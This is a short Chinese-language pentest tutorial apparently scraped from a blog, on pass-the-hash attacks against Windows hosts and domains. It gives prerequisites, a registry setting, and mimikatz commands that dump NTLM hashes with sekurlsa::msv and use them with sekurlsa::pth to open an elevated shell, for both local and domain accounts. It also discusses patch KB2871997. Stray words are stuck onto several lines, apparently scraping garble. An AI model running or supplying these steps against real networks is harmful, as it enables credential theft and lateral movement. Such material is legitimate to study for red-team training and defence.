0x01 漏洞利用條件
1.被pth攻擊的計算機未打補丁(KB2871997)
2.拿到一臺域成員主機而且拿到管理員組的域用戶的NTML
3.對方主機存在相同帳號而且是管理員組成員
0x02 本地用戶NTML進行PTH攻擊
本地用戶利用PTH攻擊的條件網絡
![](http://static.javashuo.com/static/loading.gif)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken
默認設置爲0。若是設置爲1,則SID爲500的管理員也不能經過網絡登陸的方式獲取高權限。dom
開打mimikatz輸入ide
log 後續輸出打印日誌post
privilege::debug 提高權限ui
sekurlsa::msv 抓取hashurl
![](http://static.javashuo.com/static/loading.gif)
讓後pth 攻擊.net
sekurlsa::pth /domian:要攻擊的ip /user: 相同的用戶名 /ntlm: NTLM哈希debug
![](http://static.javashuo.com/static/loading.gif)
彈出一個cmd 窗口 直接輸入3d
![](http://static.javashuo.com/static/loading.gif)
能夠看到c盤日誌
在看看執行計劃
![](http://static.javashuo.com/static/loading.gif)
能看到這個能夠證實你擁有最高權限了
這是以本地用戶進行的pth攻擊
0x03 域帳戶進行PTH攻擊
依舊如此只是在 domian 換成域控名字
sekurlsa::pth /domain:域控名 /user: 相同的用戶名 /ntlm: NTLM哈希
![](http://static.javashuo.com/static/loading.gif)
得到了最高權限
疑惑的是個人域控已經打了補丁(KB2871997)
然而依舊獲取了最高權限
這是補丁的原理
安裝KB2871997補丁後,其餘方面並無太多的變化。補丁會給本地帳號添加一個 S-1-5-113 的SID,爲管理組中的本地帳號添加一個S-1-5-114的SID,這樣方便經過域策略進行管理,例如從域策略中全面禁止這類帳號的網絡登陸
0x04 參考
https://www.harmj0y.net/blog/redteaming/pass-the-hash
is-dead-long-live-localaccounttokenfilterpolicy/
https://www.anquanke.com/post/id/85995
https://blogs.technet.microsoft.com/secguide/2014/09/02/
blocking-remote-use-of-local-accounts/#comment-2525